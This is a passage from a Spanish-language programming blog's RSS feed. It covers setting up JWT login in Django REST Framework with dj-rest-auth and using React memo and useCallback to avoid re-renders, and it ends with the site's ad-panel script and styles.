style=&#34;color:#5af78e&#34;&gt;&amp;#34;email&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Karenina@karenina.com&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;first_name&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;,&amp;#34;&lt;/span&gt;last_name&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;:&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Como viste, ya podemos usar el token que tenemos para obtener una respuesta de las vistas protegidas.&lt;/p&gt;&#xA;&lt;h2 id=&#34;autenticacion-y-login-usando-jwt-en-django&#34;&gt;Autenticación y login usando JWT en Django&lt;/h2&gt;&#xA;&lt;p&gt;dj-rest-auth también cuenta con soporte para JWT. Para usar los JWT vamos a instalar la librería djangorestframework-simplejwt&lt;/p&gt;&#xA;&lt;p&gt;Si no sabes que es JWT o quieres profundizar más en el tema, tengo una entrada donde explico los detalles de la &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/django-rest-framework-y-jwt-para-autenticar-usuarios/&#34;&gt;autenticación en django usando JWT.&lt;/a&gt;&#xA; Y como contraparte, también tengo una traducción de stop using JWT for sessions, donde se explica porque pudiera no ser tan buena idea usar JWT para sesiones.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pip install djangorestframework-simplejwt&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Agregamos el backend de autenticación en las configuraciones de DRF y le indicamos que use JWT en nuestro archivo &lt;em&gt;settings.py&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# settings.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;REST_FRAMEWORK &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;DEFAULT_AUTHENTICATION_CLASSES&amp;#39;&lt;/span&gt;: (&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;dj_rest_auth.jwt_auth.JWTCookieAuthentication&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    )&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;REST_USE_JWT &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;En este mismo archivo indicamos como se llamaran las cookies de refresco y de autenticación.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# settings.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;JWT_AUTH_COOKIE &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;jwt-auth-token&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;JWT_AUTH_REFRESH_COOKIE &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;jwt-refresh-token&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Tras obtener las tokens de refresco y autenticación, haciendo login en nuestro endpoint, podemos usarlas para autenticarnos con el header &amp;ldquo;Authorization: Bearer &lt;!-- raw HTML omitted --&gt;&amp;rdquo;.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/login-using-django-rest-framework-drf/images/DjangoRestFrameworkJWT.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/login-using-django-rest-framework-drf/images/DjangoRestFrameworkJWT.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Tras el logueo de un usuario obtenemos el  JWT de refresco y de autenticación o acceso.&#34; width=&#34;1203&#34; height=&#34;988&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Tras el logueo de un usuario obtenemos el JWT de refresco y de autenticación o acceso.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl -H &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ0b2tlbl90eXBlIjoiYWNjZXNzIiwiZXhwIjoxNjI4MjE5NDU1LCJqdGkiOiJhMTI3MGZjMDc5Nzc0MDkzYjM1NThkMjQzYThmYjFiMyIsInVzZXJfaWQiOjN9.vfVSYubOvNTw0iJxnPZ3BTOiFhw17aHX7OWFvscpOQU&amp;#34;&lt;/span&gt; http://127.0.0.1:8000/api/authentication/user/&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;{&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;pk&amp;#34;&lt;/span&gt;:1,&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;username&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Karenina&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;email&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Karenina@karenina.com&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;first_name&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;,&amp;#34;&lt;/span&gt;last_name&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;:&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Nota, además, que ya tenemos dos nuevas rutas agregadas en nuestra api.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;api/authentication/ token/verify/ &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;name&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;token_verify&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;api/authentication/ token/refresh/ &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;name&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;token_refresh&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Como siempre, recuerda revisar la documentación de &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://dj-rest-auth.readthedocs.io/en/latest/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;dj-rest-auth&lt;/a&gt;&#xA; y &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://django-allauth.readthedocs.io/en/latest/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;dj-allauth&lt;/a&gt;&#xA; para más detalles.&lt;/p&gt;&#xA;&lt;h2 id=&#34;otras-librerias-de-autenticacion-en-django&#34;&gt;Otras librerías de autenticación en Django&lt;/h2&gt;&#xA;&lt;p&gt;Además de dj-rest-auth y dj-allauth, existen otras librerías para autenticar usuarios, tales como djoser y knox. Te dejo un enlace donde puedes ver un &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.youtube.com/watch?v=0gRea2RtheM&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;tutorial completo en youtube&lt;/a&gt;&#xA; que te explica como usar estas dos librerías.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Casi todas las aplicaciones complejas en Django necesitan vistas para Login, Logout, reinicio y cambio de contraseñas, así como registro de usuarios. Sin embargo tanto Django como Django REST Framework (DRF) se muestran completamente agnósticos respecto a su implementación, y delegan la responsabilidad de esas funciones en los usuarios de sus frameworks. Afortunadamente hay librerías que vuelven bastante sencilla esa tarea.&lt;/p&gt;&#xA;&lt;p&gt;Si estás por desarrollar una API, tengo una entrada con &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/software-architecture/caracteristicas-basicas-de-una-api-rest/&#34;&gt;recomendaciones sobre diseño de APIs REST&lt;/a&gt;&#xA; que puede servirte bastante.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>React memo, useMemo y useCallback para evitar renderizaciones en React</title>
      <link>https://coffeebytes.dev/es/react/react-memo-usememo-y-usecallback-para-evitar-renderizaciones-en-react/</link>
      <pubDate>Tue, 10 Aug 2021 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/react/react-memo-usememo-y-usecallback-para-evitar-renderizaciones-en-react/</guid>
      
      <category>react</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Podemos usar react memo y useCallback para evitar que un componente se renderice, inútilmente, múltiples veces por medio de la memoización. Si no sabes que es memoización o no entiendes para que sirven los componentes de react, useCallback y memo, tengo una entrada donde explico &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/react/react-usecallback-usememo-y-memo-diferencias-y-usos/&#34;&gt;useCallback, useMemo y memo de React, y para que sirven.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&#xA;&lt;p class=&#34;message error&#34;&gt;&#xA;    &#xA;    &#xA;    A partir de React 19 todos estos hooks quedan obsoletos, por lo que solamente utiliza este post a manera de referencia para versiones legacy de React, por favor no implementes estos hooks en tu aplicación&#xA;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Empecémos nuestro ejemplo con el siguiente componente:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; ChildComponent from &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;./ChildComponent&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; MyComponent &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; () =&amp;gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#78787e&#34;&gt;// callback va a ser diferente cada vez que este componente se renderice&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; callback &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; () =&amp;gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;Texto del componente hijo&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  };&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;ChildComponent callback&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;{callback} &lt;span style=&#34;color:#ff6ac1&#34;&gt;/&amp;gt;&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;export&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;default&lt;/span&gt; MyComponent&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Cada vez que MyComponent se renderice, React creará una función nueva llamada callback, y se la pasará a ChildComponent, que se renderizará a su vez.&lt;/p&gt;&#xA;&lt;p&gt;El primer paso será memoizar el componente hijo, ChildComponent, para que se mantenga constante mientras sus props no cambien. Para hacerlo basta con pasarle el componente a la función memo y exportarlo.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; { memo } from &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;react&amp;#34;&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; ChildComponent &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; ({ callback }) =&amp;gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; textoDelComponenteHijo &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; callback();&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;div&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;{textoDelComponenteHijo}&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;/div&amp;gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;};&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;export&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;default&lt;/span&gt; memo(ChildComponent)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Como te mencioné anteriormente, cada vez que React renderiza un componente se crearán nuevamente sus funciones internas, convirtiéndose en un prop diferente para cada componente hijo que las reciba.&lt;/p&gt;&#xA;&lt;p&gt;Para evitar que los props cambien, tenemos que memoizar la función que memo está recibiendo como prop. ¿Cómo? Pues usando el hook useCallback de React&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; ChildComponent from &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;./ChildComponent&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; {useCallback} from &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;react&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; MyComponent &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; ({ prop }) =&amp;gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; callback &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; useCallback(() =&amp;gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;Result&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },[])&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;ChildComponent callback&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;{callback} &lt;span style=&#34;color:#ff6ac1&#34;&gt;/&amp;gt;&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;export&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;default&lt;/span&gt; MyComponent&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Ahora la función callback no cambiará cada que se renderice MyComponent, se mantendrá constante. Por lo anterior, el componente memoizado, ChildComponent, recibirá como prop la misma función, siempre, evitando su re-renderización cada que MyComponent cambie.&lt;/p&gt;&#xA;&lt;h2 id=&#34;probando-el-efecto-de-react-memo-y-usecallback&#34;&gt;Probando el efecto de React memo y useCallback&lt;/h2&gt;&#xA;&lt;p&gt;¿Aún no te queda claro? Checa este ejemplo en un sandbox.&lt;/p&gt;&#xA;&lt;p&gt;En el siguiente sandbox, observa como el ChildComponent tiene un método console.log que escribe en terminal cada vez que el componente se renderiza. Si escribes en el input notarás que ChildComponent no se está renderizando con cada tecla presionada.&lt;/p&gt;&#xA;&lt;p&gt;¿Por qué? Primero, estamos usando memo en el ChildComponent para evitar renderizaciones. Segundo, estamos usando useCallback para evitar que la función de MyComponent cambie, por lo que memo recibe siempre el mismo prop.&lt;/p&gt;&#xA;&lt;p&gt;Ahora prueba lo siguiente en este sandbox:&lt;/p&gt;&#xA;&lt;!-- raw HTML omitted --&gt;&#xA;&lt;p&gt;Remueve únicamente la función memo del ChildComponent y escribe en el input. ChildComponent se re-renderizará con cada nueva tecla presionada. Un mensaje nuevo en terminal aparecerá por cada renderización.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Este es el recurso que leí para aprender algoritmos, y por lo tanto puedo recomendar. Es mucho más entendible que SICP y te enseña todo lo que necesitas saber sobre el tema, desde la complejidad hasta aproximaciones heurísticas. Consulta el resto de libros que leo y recomiendo en mi perfil.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del manual de diseño de algoritmos\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/the-algorithm-design-manual.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/4gUpFoa\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio del manual de diseño de algoritmos y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Dónde aprender todo sobre algoritmos?\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 